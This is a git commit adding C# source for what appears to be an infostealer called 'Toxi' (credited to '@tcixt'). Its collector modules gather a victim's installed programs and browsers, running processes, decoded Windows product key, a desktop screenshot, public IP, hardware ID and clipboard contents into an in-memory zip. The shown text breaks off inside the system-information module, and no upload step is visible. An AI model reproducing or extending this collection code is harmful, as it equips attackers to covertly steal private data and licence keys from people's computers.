initial commit
This commit is contained in:
i2p
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,22 @@
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using Intelix.Helper.Data;
|
||||
|
||||
namespace Intelix.Targets.Device;
|
||||
|
||||
public class GameList : ITarget
|
||||
{
|
||||
public void Collect(InMemoryZip zip, Counter counter)
|
||||
{
|
||||
string path = "C:\\Games";
|
||||
if (Directory.Exists(path))
|
||||
{
|
||||
List<string> list = Directory.GetDirectories(path).Select(Path.GetFileName).ToList();
|
||||
if (list.Any())
|
||||
{
|
||||
zip.AddTextFile("Games.txt", string.Join("\n", list));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,160 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Text.RegularExpressions;
|
||||
using Intelix.Helper.Data;
|
||||
using Microsoft.Win32;
|
||||
|
||||
namespace Intelix.Targets.Device;
|
||||
|
||||
public class InstalledBrowsers : ITarget
|
||||
{
|
||||
private class Browser
|
||||
{
|
||||
public string Name { get; set; }
|
||||
|
||||
public string Path { get; set; }
|
||||
|
||||
public string Version { get; set; }
|
||||
}
|
||||
|
||||
public void Collect(InMemoryZip zip, Counter counter)
|
||||
{
|
||||
List<Browser> list = (from g in GetBrowsers().GroupBy((Browser b) => b.Name, StringComparer.OrdinalIgnoreCase)
|
||||
select g.First()).ToList();
|
||||
int maxName = Math.Max("Name".Length, list.Max((Browser b) => b.Name.Length));
|
||||
int maxVersion = Math.Max("Version".Length, list.Max((Browser b) => b.Version.Length));
|
||||
int length = "In Use".Length;
|
||||
List<string> list2 = new List<string>
|
||||
{
|
||||
"Name".PadRight(maxName) + " | " + "Version".PadRight(maxVersion),
|
||||
new string('-', maxName + maxVersion + length + 6)
|
||||
};
|
||||
list2.AddRange(list.Select(delegate(Browser b)
|
||||
{
|
||||
SafeGetExeName(b.Path);
|
||||
return b.Name.PadRight(maxName) + " | " + b.Version.PadRight(maxVersion);
|
||||
}));
|
||||
if (list.Count > 0)
|
||||
{
|
||||
zip.AddTextFile("InstalledBrowsers.txt", string.Join("\n", list2));
|
||||
}
|
||||
}
|
||||
|
||||
private static IEnumerable<Browser> GetBrowsers()
|
||||
{
|
||||
string[] obj = new string[2] { "SOFTWARE\\WOW6432Node\\Clients\\StartMenuInternet", "SOFTWARE\\Clients\\StartMenuInternet" };
|
||||
List<Browser> list = new List<Browser>();
|
||||
string[] array = obj;
|
||||
foreach (string keyPath in array)
|
||||
{
|
||||
list.AddRange(GetBrowsersFromRegistry(keyPath, Registry.LocalMachine));
|
||||
list.AddRange(GetBrowsersFromRegistry(keyPath, Registry.CurrentUser));
|
||||
}
|
||||
Browser edgeLegacyVersion = GetEdgeLegacyVersion();
|
||||
if (edgeLegacyVersion != null)
|
||||
{
|
||||
list.Add(edgeLegacyVersion);
|
||||
}
|
||||
return list;
|
||||
}
|
||||
|
||||
private static IEnumerable<Browser> GetBrowsersFromRegistry(string keyPath, RegistryKey root)
|
||||
{
|
||||
using RegistryKey key = root.OpenSubKey(keyPath);
|
||||
if (key == null)
|
||||
{
|
||||
yield break;
|
||||
}
|
||||
string[] subKeyNames = key.GetSubKeyNames();
|
||||
foreach (string name in subKeyNames)
|
||||
{
|
||||
using RegistryKey subkey = key.OpenSubKey(name);
|
||||
if (!(subkey?.GetValue(null) is string name2))
|
||||
{
|
||||
continue;
|
||||
}
|
||||
string text = StripQuotesFromCommand(subkey.OpenSubKey("shell\\open\\command")?.GetValue(null)?.ToString());
|
||||
string version = "unknown";
|
||||
if (!string.IsNullOrEmpty(text) && File.Exists(text))
|
||||
{
|
||||
try
|
||||
{
|
||||
version = FileVersionInfo.GetVersionInfo(text).FileVersion;
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
yield return new Browser
|
||||
{
|
||||
Name = name2,
|
||||
Path = text,
|
||||
Version = version
|
||||
};
|
||||
}
|
||||
}
|
||||
|
||||
private static Browser GetEdgeLegacyVersion()
|
||||
{
|
||||
using (RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppModel\\SystemAppData\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\Schemas"))
|
||||
{
|
||||
if (registryKey?.GetValue("PackageFullName") is string input)
|
||||
{
|
||||
Match match = Regex.Match(input, "\\d+(\\.\\d+)+");
|
||||
if (match.Success)
|
||||
{
|
||||
return new Browser
|
||||
{
|
||||
Name = "Microsoft Edge (Legacy)",
|
||||
Path = null,
|
||||
Version = match.Value
|
||||
};
|
||||
}
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
private static string StripQuotesFromCommand(string command)
|
||||
{
|
||||
if (string.IsNullOrWhiteSpace(command))
|
||||
{
|
||||
return null;
|
||||
}
|
||||
command = command.Trim();
|
||||
if (command.StartsWith("\""))
|
||||
{
|
||||
int num = command.IndexOf('"', 1);
|
||||
if (num > 1)
|
||||
{
|
||||
return command.Substring(1, num - 1);
|
||||
}
|
||||
return null;
|
||||
}
|
||||
int num2 = command.IndexOf(' ');
|
||||
if (num2 <= 0)
|
||||
{
|
||||
return command;
|
||||
}
|
||||
return command.Substring(0, num2);
|
||||
}
|
||||
|
||||
private static string SafeGetExeName(string path)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (string.IsNullOrWhiteSpace(path))
|
||||
{
|
||||
return null;
|
||||
}
|
||||
return Path.GetFileName(path)?.ToUpperInvariant();
|
||||
}
|
||||
catch
|
||||
{
|
||||
return null;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,77 @@
|
||||
using System;
|
||||
using System.Collections.Concurrent;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Threading.Tasks;
|
||||
using Intelix.Helper.Data;
|
||||
using Microsoft.Win32;
|
||||
|
||||
namespace Intelix.Targets.Device;
|
||||
|
||||
public class InstalledPrograms : ITarget
|
||||
{
|
||||
private class InstalledProgram
|
||||
{
|
||||
public string Name { get; set; }
|
||||
|
||||
public string Version { get; set; }
|
||||
|
||||
public string InstallLocation { get; set; }
|
||||
}
|
||||
|
||||
public void Collect(InMemoryZip zip, Counter counter)
|
||||
{
|
||||
List<InstalledProgram> list = new string[2] { "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall" }.SelectMany((string key) => GetInstalledPrograms(key, Registry.LocalMachine, counter).Concat(GetInstalledPrograms(key, Registry.CurrentUser, counter))).ToList();
|
||||
if (list.Count != 0)
|
||||
{
|
||||
int maxName = Math.Max("Name".Length, list.Max((InstalledProgram p) => p.Name?.Length ?? 0));
|
||||
int maxVersion = Math.Max("Version".Length, list.Max((InstalledProgram p) => p.Version?.Length ?? 0));
|
||||
int maxPath = Math.Max("Path".Length, list.Max((InstalledProgram p) => p.InstallLocation?.Length ?? 0));
|
||||
List<string> list2 = new List<string>();
|
||||
list2.Add("Name".PadRight(maxName) + " | " + "Path".PadRight(maxPath) + " | " + "Version".PadRight(maxVersion));
|
||||
list2.Add(new string('-', maxName + maxPath + maxVersion + 6));
|
||||
List<string> list3 = list2;
|
||||
list3.AddRange(list.Select((InstalledProgram p) => (p.Name ?? "Unknown").PadRight(maxName) + " | " + (p.InstallLocation ?? "Unknown").PadRight(maxPath) + " | " + (p.Version ?? "Unknown").PadRight(maxVersion)));
|
||||
zip.AddTextFile("InstalledPrograms.txt", string.Join("\n", list3));
|
||||
}
|
||||
}
|
||||
|
||||
private static List<InstalledProgram> GetInstalledPrograms(string uninstallKey, RegistryKey root, Counter counter)
|
||||
{
|
||||
ConcurrentBag<InstalledProgram> installedPrograms = new ConcurrentBag<InstalledProgram>();
|
||||
using (RegistryKey registryKey = root.OpenSubKey(uninstallKey))
|
||||
{
|
||||
if (registryKey == null)
|
||||
{
|
||||
return new List<InstalledProgram>();
|
||||
}
|
||||
string[] subKeyNames = registryKey.GetSubKeyNames();
|
||||
if (subKeyNames == null || subKeyNames.Length == 0)
|
||||
{
|
||||
return new List<InstalledProgram>();
|
||||
}
|
||||
Parallel.ForEach(subKeyNames, delegate(string subkeyName)
|
||||
{
|
||||
try
|
||||
{
|
||||
using RegistryKey registryKey2 = root.OpenSubKey(uninstallKey + "\\" + subkeyName);
|
||||
string text = registryKey2?.GetValue("DisplayName") as string;
|
||||
if (!string.IsNullOrEmpty(text))
|
||||
{
|
||||
InstalledProgram item = new InstalledProgram
|
||||
{
|
||||
Name = text.Trim(),
|
||||
Version = ((registryKey2.GetValue("DisplayVersion") as string) ?? "Unknown"),
|
||||
InstallLocation = ((registryKey2.GetValue("InstallLocation") as string) ?? "Unknown")
|
||||
};
|
||||
installedPrograms.Add(item);
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
});
|
||||
}
|
||||
return installedPrograms.ToList();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,43 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using Intelix.Helper;
|
||||
using Intelix.Helper.Data;
|
||||
|
||||
namespace Intelix.Targets.Device;
|
||||
|
||||
public class ProcessDump : ITarget
|
||||
{
|
||||
public void Collect(InMemoryZip zip, Counter counter)
|
||||
{
|
||||
try
|
||||
{
|
||||
List<ProcessWindows.ProcInfo> list = ProcessWindows.GetProcInfos().ToList();
|
||||
if (list.Count == 0)
|
||||
{
|
||||
return;
|
||||
}
|
||||
int totalWidth = Math.Max("Name".Length, list.Max((ProcessWindows.ProcInfo p) => p.Name?.Length ?? 0));
|
||||
int totalWidth2 = Math.Max("PID".Length, list.Max((ProcessWindows.ProcInfo p) => p.Pid?.Length ?? 0));
|
||||
int totalWidth3 = Math.Max("Path".Length, list.Max((ProcessWindows.ProcInfo p) => p.Path?.Length ?? 0));
|
||||
int totalWidth4 = Math.Max("Mem".Length, list.Max((ProcessWindows.ProcInfo p) => p.Memory?.Length ?? 0));
|
||||
string text = "Name".PadRight(totalWidth) + " | " + "PID".PadRight(totalWidth2) + " | " + "Path".PadRight(totalWidth3) + " | " + "Mem".PadRight(totalWidth4);
|
||||
string value = new string('-', text.Length);
|
||||
StringBuilder stringBuilder = new StringBuilder();
|
||||
stringBuilder.AppendLine(text);
|
||||
stringBuilder.AppendLine(value);
|
||||
int result;
|
||||
foreach (ProcessWindows.ProcInfo item in from x in list
|
||||
orderby x.Name ?? string.Empty, (!int.TryParse(x.Pid, out result)) ? int.MaxValue : result
|
||||
select x)
|
||||
{
|
||||
stringBuilder.AppendLine((item.Name ?? "Unknown").PadRight(totalWidth) + " | " + (item.Pid ?? "Unknown").PadRight(totalWidth2) + " | " + (item.Path ?? "Unknown").PadRight(totalWidth3) + " | " + (item.Memory ?? "Unknown").PadRight(totalWidth4));
|
||||
}
|
||||
zip.AddTextFile("ProcessList.txt", stringBuilder.ToString());
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,135 @@
|
||||
using System;
|
||||
using System.Collections;
|
||||
using System.Text;
|
||||
using Intelix.Helper.Data;
|
||||
using Microsoft.Win32;
|
||||
|
||||
namespace Intelix.Targets.Device;
|
||||
|
||||
public class ProductKey : ITarget
|
||||
{
|
||||
private enum DigitalProductIdVersion
|
||||
{
|
||||
UpToWindows7,
|
||||
Windows8AndUp
|
||||
}
|
||||
|
||||
public void Collect(InMemoryZip zip, Counter counter)
|
||||
{
|
||||
try
|
||||
{
|
||||
RegistryKey registryKey = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, Environment.Is64BitOperatingSystem ? RegistryView.Registry64 : RegistryView.Registry32);
|
||||
object obj = registryKey.OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion")?.GetValue("DigitalProductId");
|
||||
if (obj != null)
|
||||
{
|
||||
byte[] digitalProductId = (byte[])obj;
|
||||
registryKey.Close();
|
||||
bool flag = (Environment.OSVersion.Version.Major == 6 && Environment.OSVersion.Version.Minor >= 2) || Environment.OSVersion.Version.Major > 6;
|
||||
string windowsProductKeyFromDigitalProductId = GetWindowsProductKeyFromDigitalProductId(digitalProductId, flag ? DigitalProductIdVersion.Windows8AndUp : DigitalProductIdVersion.UpToWindows7);
|
||||
if (!string.IsNullOrEmpty(windowsProductKeyFromDigitalProductId))
|
||||
{
|
||||
string text = (IsWindowsActivatedFast() ? "Activated ✅" : "Not Activated ❌");
|
||||
StringBuilder stringBuilder = new StringBuilder();
|
||||
stringBuilder.AppendLine("=== Windows Product Key Info ===");
|
||||
stringBuilder.AppendLine("Status : " + text);
|
||||
stringBuilder.AppendLine("Key : " + windowsProductKeyFromDigitalProductId);
|
||||
stringBuilder.AppendLine("================================");
|
||||
zip.AddTextFile("ProductKey.txt", stringBuilder.ToString());
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private string DecodeProductKeyWin8AndUp(byte[] digitalProductId)
|
||||
{
|
||||
string text = string.Empty;
|
||||
byte b = (byte)((digitalProductId[66] / 6) & 1);
|
||||
digitalProductId[66] = (byte)((digitalProductId[66] & 0xF7) | ((b & 2) * 4));
|
||||
int num = 0;
|
||||
for (int num2 = 24; num2 >= 0; num2--)
|
||||
{
|
||||
int num3 = 0;
|
||||
for (int num4 = 14; num4 >= 0; num4--)
|
||||
{
|
||||
num3 *= 256;
|
||||
num3 = digitalProductId[num4 + 52] + num3;
|
||||
digitalProductId[num4 + 52] = (byte)(num3 / 24);
|
||||
num3 %= 24;
|
||||
num = num3;
|
||||
}
|
||||
text = "BCDFGHJKMPQRTVWXY2346789"[num3] + text;
|
||||
}
|
||||
string text2 = text.Substring(1, num);
|
||||
string text3 = text.Substring(num + 1, text.Length - (num + 1));
|
||||
text = text2 + "N" + text3;
|
||||
for (int i = 5; i < text.Length; i += 6)
|
||||
{
|
||||
text = text.Insert(i, "-");
|
||||
}
|
||||
return text;
|
||||
}
|
||||
|
||||
private string DecodeProductKey(byte[] digitalProductId)
|
||||
{
|
||||
char[] array = new char[24]
|
||||
{
|
||||
'B', 'C', 'D', 'F', 'G', 'H', 'J', 'K', 'M', 'P',
|
||||
'Q', 'R', 'T', 'V', 'W', 'X', 'Y', '2', '3', '4',
|
||||
'6', '7', '8', '9'
|
||||
};
|
||||
char[] array2 = new char[29];
|
||||
ArrayList arrayList = new ArrayList();
|
||||
for (int i = 52; i <= 67; i++)
|
||||
{
|
||||
arrayList.Add(digitalProductId[i]);
|
||||
}
|
||||
for (int num = 28; num >= 0; num--)
|
||||
{
|
||||
if ((num + 1) % 6 == 0)
|
||||
{
|
||||
array2[num] = '-';
|
||||
}
|
||||
else
|
||||
{
|
||||
int num2 = 0;
|
||||
for (int num3 = 14; num3 >= 0; num3--)
|
||||
{
|
||||
int num4 = (num2 << 8) | (byte)arrayList[num3];
|
||||
arrayList[num3] = (byte)(num4 / 24);
|
||||
num2 = num4 % 24;
|
||||
array2[num] = array[num2];
|
||||
}
|
||||
}
|
||||
}
|
||||
return new string(array2);
|
||||
}
|
||||
|
||||
private string GetWindowsProductKeyFromDigitalProductId(byte[] digitalProductId, DigitalProductIdVersion digitalProductIdVersion)
|
||||
{
|
||||
if (digitalProductIdVersion != DigitalProductIdVersion.Windows8AndUp)
|
||||
{
|
||||
return DecodeProductKey(digitalProductId);
|
||||
}
|
||||
return DecodeProductKeyWin8AndUp(digitalProductId);
|
||||
}
|
||||
|
||||
public static bool IsWindowsActivatedFast()
|
||||
{
|
||||
try
|
||||
{
|
||||
using RegistryKey registryKey = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry64).OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SoftwareProtectionPlatform");
|
||||
if (registryKey != null)
|
||||
{
|
||||
object value = registryKey.GetValue("BackupProductKeyDefault");
|
||||
return value != null && value.ToString().Length > 0;
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
return false;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,177 @@
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Drawing2D;
|
||||
using System.Drawing.Imaging;
|
||||
using System.Drawing.Text;
|
||||
using System.IO;
|
||||
using System.Windows.Forms;
|
||||
using Intelix.Helper;
|
||||
using Intelix.Helper.Data;
|
||||
|
||||
namespace Intelix.Targets.Device;
|
||||
|
||||
public class ScreenShot : ITarget
|
||||
{
|
||||
public void Collect(InMemoryZip zip, Counter counter)
|
||||
{
|
||||
Rectangle bounds = Screen.PrimaryScreen.Bounds;
|
||||
using Bitmap bitmap = new Bitmap(bounds.Width, bounds.Height, PixelFormat.Format24bppRgb);
|
||||
using Graphics graphics = Graphics.FromImage(bitmap);
|
||||
IntPtr hdc = graphics.GetHdc();
|
||||
IntPtr windowDC = NativeMethods.GetWindowDC(NativeMethods.GetDesktopWindow());
|
||||
NativeMethods.BitBlt(hdc, 0, 0, bounds.Width, bounds.Height, windowDC, 0, 0, 13369376);
|
||||
graphics.ReleaseHdc(hdc);
|
||||
NativeMethods.ReleaseDC(NativeMethods.GetDesktopWindow(), windowDC);
|
||||
graphics.SmoothingMode = SmoothingMode.AntiAlias;
|
||||
graphics.TextRenderingHint = TextRenderingHint.ClearTypeGridFit;
|
||||
graphics.InterpolationMode = InterpolationMode.HighQualityBicubic;
|
||||
RectangleF rectangleF = new RectangleF(0f, 0f, bounds.Width, bounds.Height);
|
||||
StringFormat format = new StringFormat
|
||||
{
|
||||
Alignment = StringAlignment.Center,
|
||||
LineAlignment = StringAlignment.Center
|
||||
};
|
||||
float num = Math.Max(24f, (float)bounds.Width / 12f);
|
||||
using (Font font = new Font("Segoe UI Black", num, FontStyle.Bold, GraphicsUnit.Pixel))
|
||||
{
|
||||
using GraphicsPath graphicsPath = new GraphicsPath();
|
||||
graphicsPath.AddString("toxi", font.FontFamily, (int)font.Style, font.Size, rectangleF, format);
|
||||
int num2 = 10;
|
||||
for (int num3 = num2; num3 >= 1; num3--)
|
||||
{
|
||||
int alpha = (int)(30.0 * (1.0 - (double)num3 / (double)num2)) + 8;
|
||||
using Pen pen = new Pen(width: num / 18f * (float)num3, color: Color.FromArgb(alpha, 120, 40, 200));
|
||||
pen.LineJoin = LineJoin.Round;
|
||||
graphics.DrawPath(pen, graphicsPath);
|
||||
}
|
||||
using (LinearGradientBrush linearGradientBrush = new LinearGradientBrush(rectangleF, Color.FromArgb(255, 85, 0, 255), Color.FromArgb(255, 0, 220, 255), LinearGradientMode.Horizontal))
|
||||
{
|
||||
ColorBlend colorBlend = new ColorBlend();
|
||||
colorBlend.Colors = new Color[4]
|
||||
{
|
||||
Color.FromArgb(255, 48, 0, 96),
|
||||
Color.FromArgb(255, 102, 0, 204),
|
||||
Color.FromArgb(255, 0, 150, 255),
|
||||
Color.FromArgb(255, 0, 255, 180)
|
||||
};
|
||||
colorBlend.Positions = new float[4] { 0f, 0.45f, 0.75f, 1f };
|
||||
linearGradientBrush.InterpolationColors = colorBlend;
|
||||
using PathGradientBrush pathGradientBrush = new PathGradientBrush(graphicsPath);
|
||||
pathGradientBrush.CenterColor = Color.FromArgb(220, 255, 255, 255);
|
||||
pathGradientBrush.SurroundColors = new Color[1] { Color.FromArgb(0, 0, 0, 0) };
|
||||
pathGradientBrush.CenterPoint = new PointF(rectangleF.Width * 0.5f, rectangleF.Height * 0.45f);
|
||||
graphics.FillPath(linearGradientBrush, graphicsPath);
|
||||
graphics.FillPath(pathGradientBrush, graphicsPath);
|
||||
}
|
||||
using (Pen pen2 = new Pen(Color.FromArgb(220, 255, 255, 255), Math.Max(2f, num / 28f)))
|
||||
{
|
||||
pen2.LineJoin = LineJoin.Round;
|
||||
graphics.DrawPath(pen2, graphicsPath);
|
||||
}
|
||||
PointF[] array = new PointF[5]
|
||||
{
|
||||
new PointF(rectangleF.Width * 0.22f, rectangleF.Height * 0.38f),
|
||||
new PointF(rectangleF.Width * 0.33f, rectangleF.Height * 0.52f),
|
||||
new PointF(rectangleF.Width * 0.68f, rectangleF.Height * 0.4f),
|
||||
new PointF(rectangleF.Width * 0.6f, rectangleF.Height * 0.6f),
|
||||
new PointF(rectangleF.Width * 0.5f, rectangleF.Height * 0.3f)
|
||||
};
|
||||
for (int i = 0; i < array.Length; i++)
|
||||
{
|
||||
PointF pointF = array[i];
|
||||
float num4 = Math.Max(2f, num / 28f);
|
||||
using (SolidBrush brush = new SolidBrush(Color.FromArgb(230, 255, 250, 200)))
|
||||
{
|
||||
graphics.FillEllipse(brush, pointF.X - num4 / 2f, pointF.Y - num4 / 2f, num4, num4);
|
||||
}
|
||||
using SolidBrush brush2 = new SolidBrush(Color.FromArgb(80, 150, 220, 255));
|
||||
graphics.FillEllipse(brush2, pointF.X - num4 * 2f, pointF.Y - num4 * 2f, num4 * 4f, num4 * 4f);
|
||||
}
|
||||
}
|
||||
string fileName = Process.GetCurrentProcess().MainModule.FileName;
|
||||
string[] array2 = new string[12]
|
||||
{
|
||||
"Machine: " + Environment.MachineName,
|
||||
"User: " + Environment.UserName,
|
||||
$"Time: {DateTimeOffset.Now:yyyy-MM-dd HH:mm:ss zzz}",
|
||||
$".NET: {Environment.Version}",
|
||||
"CPU: " + CpuInfo.GetName(),
|
||||
$"CPU Cores: {CpuInfo.GetLogicalCores()}",
|
||||
"OS Product: " + WindowsInfo.GetProductName(),
|
||||
"OS Build: " + WindowsInfo.GetBuildNumber(),
|
||||
"OS Arch: " + WindowsInfo.GetArchitecture(),
|
||||
"Public ip: " + IpApi.GetPublicIp(),
|
||||
"Build Name: " + Path.GetFileName(Path.GetDirectoryName(fileName)) + "\\" + Path.GetFileName(fileName),
|
||||
"Code by @tcixt"
|
||||
};
|
||||
float num5 = Math.Max(12f, (float)bounds.Width / 120f);
|
||||
using (Font font2 = new Font("Segoe UI", num5, FontStyle.Regular, GraphicsUnit.Pixel))
|
||||
{
|
||||
float num6 = Math.Max(8f, num5 * 0.6f);
|
||||
float num7 = 0f;
|
||||
float num8 = 0f;
|
||||
string[] array3 = array2;
|
||||
foreach (string text in array3)
|
||||
{
|
||||
SizeF sizeF = graphics.MeasureString(text, font2);
|
||||
if (sizeF.Width > num7)
|
||||
{
|
||||
num7 = sizeF.Width;
|
||||
}
|
||||
if (sizeF.Height > num8)
|
||||
{
|
||||
num8 = sizeF.Height;
|
||||
}
|
||||
}
|
||||
float width = num7 + num6 * 2f;
|
||||
float num9 = (float)array2.Length * num8 + num6 * 2f;
|
||||
RectangleF rect = new RectangleF(12f, (float)bounds.Height - num9 - 12f, width, num9);
|
||||
using (SolidBrush brush3 = new SolidBrush(Color.FromArgb(180, 6, 6, 10)))
|
||||
{
|
||||
using Pen pen3 = new Pen(Color.FromArgb(220, 60, 60, 80), 1f);
|
||||
graphics.FillRectangle(brush3, rect);
|
||||
graphics.DrawRectangle(pen3, rect.X, rect.Y, rect.Width, rect.Height);
|
||||
}
|
||||
float num10 = rect.X + num6;
|
||||
float num11 = rect.Y + num6;
|
||||
using SolidBrush brush4 = new SolidBrush(Color.FromArgb(160, 0, 0, 0));
|
||||
using SolidBrush brush5 = new SolidBrush(Color.FromArgb(240, 245, 250, 255));
|
||||
array3 = array2;
|
||||
foreach (string s in array3)
|
||||
{
|
||||
graphics.DrawString(s, font2, brush4, new PointF(num10 + 1f, num11 + 1f));
|
||||
graphics.DrawString(s, font2, brush5, new PointF(num10, num11));
|
||||
num11 += num8;
|
||||
}
|
||||
}
|
||||
using MemoryStream memoryStream = new MemoryStream();
|
||||
ImageCodecInfo imageCodecInfo = null;
|
||||
ImageCodecInfo[] imageEncoders = ImageCodecInfo.GetImageEncoders();
|
||||
for (int j = 0; j < imageEncoders.Length; j++)
|
||||
{
|
||||
if (string.Equals(imageEncoders[j].MimeType, "image/jpeg", StringComparison.OrdinalIgnoreCase))
|
||||
{
|
||||
imageCodecInfo = imageEncoders[j];
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (imageCodecInfo != null)
|
||||
{
|
||||
Encoder quality = Encoder.Quality;
|
||||
EncoderParameters encoderParameters = new EncoderParameters(1);
|
||||
encoderParameters.Param[0] = new EncoderParameter(quality, 90L);
|
||||
bitmap.Save(memoryStream, imageCodecInfo, encoderParameters);
|
||||
}
|
||||
else
|
||||
{
|
||||
bitmap.Save(memoryStream, ImageFormat.Jpeg);
|
||||
}
|
||||
byte[] array4 = memoryStream.ToArray();
|
||||
if (array4 != null && array4.Length != 0)
|
||||
{
|
||||
string entryPath = "screenshot.jpg";
|
||||
zip.AddFile(entryPath, array4);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,311 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Net.NetworkInformation;
|
||||
using System.Net.Sockets;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
using System.Threading;
|
||||
using System.Threading.Tasks;
|
||||
using System.Windows.Forms;
|
||||
using Intelix.Helper;
|
||||
using Intelix.Helper.Data;
|
||||
using Microsoft.Win32;
|
||||
|
||||
namespace Intelix.Targets.Device;
|
||||
|
||||
internal class SystemInfo : ITarget
|
||||
{
|
||||
public void Collect(InMemoryZip zip, Counter counter)
|
||||
{
|
||||
try
|
||||
{
|
||||
StringBuilder stringBuilder = new StringBuilder();
|
||||
stringBuilder.AppendLine("\r\n \r\n _____ _ \r\n|_ _|____ _(_)\r\n | |/ _ \\ \\/ / |\r\n | | (_) > <| |\r\n |_|\\___/_/\\_\\_|\r\n ");
|
||||
stringBuilder.AppendLine(" Developer @tcixt");
|
||||
Task<string> task = Task.Run(() => BuildUserSection());
|
||||
Task<string> task2 = Task.Run(() => BuildNetworkSection());
|
||||
Task<string> task3 = Task.Run(() => BuildSystemSection());
|
||||
Task<string> task4 = Task.Run(() => BuildDrivesSection());
|
||||
Task<string> task5 = Task.Run(() => BuildGpuSection());
|
||||
Task<string> task6 = Task.Run(() => BuildBasicSection());
|
||||
Task.WaitAll(task, task2, task3, task4, task5, task6);
|
||||
StringBuilder stringBuilder2 = new StringBuilder();
|
||||
stringBuilder2.Append(stringBuilder);
|
||||
stringBuilder2.AppendLine(task.Result).AppendLine();
|
||||
stringBuilder2.AppendLine(task2.Result).AppendLine();
|
||||
stringBuilder2.AppendLine(task3.Result).AppendLine();
|
||||
stringBuilder2.AppendLine(task4.Result).AppendLine();
|
||||
stringBuilder2.AppendLine(task5.Result).AppendLine();
|
||||
stringBuilder2.AppendLine(task6.Result);
|
||||
zip.AddTextFile("Information.txt", stringBuilder2.ToString());
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private static string BuildUserSection()
|
||||
{
|
||||
StringBuilder stringBuilder = new StringBuilder();
|
||||
stringBuilder.AppendLine("[User Info]");
|
||||
try
|
||||
{
|
||||
stringBuilder.AppendLine("User: " + Environment.UserName);
|
||||
stringBuilder.AppendLine("Machine: " + Environment.MachineName);
|
||||
stringBuilder.AppendLine($"Now: {DateTime.Now:yyyy-MM-dd HH:mm:ss}");
|
||||
}
|
||||
catch
|
||||
{
|
||||
stringBuilder.AppendLine("User/System fields unavailable");
|
||||
}
|
||||
try
|
||||
{
|
||||
string text = InputLanguage.CurrentInputLanguage?.Culture?.TwoLetterISOLanguageName ?? "unknown";
|
||||
stringBuilder.AppendLine("Input ISO: " + text);
|
||||
}
|
||||
catch
|
||||
{
|
||||
stringBuilder.AppendLine("Input ISO: unknown");
|
||||
}
|
||||
stringBuilder.AppendLine("Hwid: " + HwidGenerator.GetHwid());
|
||||
stringBuilder.AppendLine("Clipboard: " + GetClipboardTextNoTimeout());
|
||||
return stringBuilder.ToString().TrimEnd();
|
||||
}
|
||||
|
||||
private static string BuildNetworkSection()
|
||||
{
|
||||
StringBuilder stringBuilder = new StringBuilder();
|
||||
stringBuilder.AppendLine("[Network]");
|
||||
stringBuilder.AppendLine("External IP: " + IpApi.GetPublicIp());
|
||||
string text = "unavailable";
|
||||
string text2 = "unavailable";
|
||||
try
|
||||
{
|
||||
NetworkInterface[] allNetworkInterfaces = NetworkInterface.GetAllNetworkInterfaces();
|
||||
foreach (NetworkInterface networkInterface in allNetworkInterfaces)
|
||||
{
|
||||
if (networkInterface.OperationalStatus != OperationalStatus.Up || networkInterface.NetworkInterfaceType == NetworkInterfaceType.Loopback)
|
||||
{
|
||||
continue;
|
||||
}
|
||||
IPInterfaceProperties iPProperties = networkInterface.GetIPProperties();
|
||||
foreach (UnicastIPAddressInformation unicastAddress in iPProperties.UnicastAddresses)
|
||||
{
|
||||
if (unicastAddress.Address.AddressFamily == AddressFamily.InterNetwork)
|
||||
{
|
||||
text = unicastAddress.Address.ToString();
|
||||
break;
|
||||
}
|
||||
}
|
||||
foreach (GatewayIPAddressInformation gatewayAddress in iPProperties.GatewayAddresses)
|
||||
{
|
||||
if (gatewayAddress.Address != null && gatewayAddress.Address.AddressFamily == AddressFamily.InterNetwork)
|
||||
{
|
||||
text2 = gatewayAddress.Address.ToString();
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (text != "unavailable" && text2 != "unavailable")
|
||||
{
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
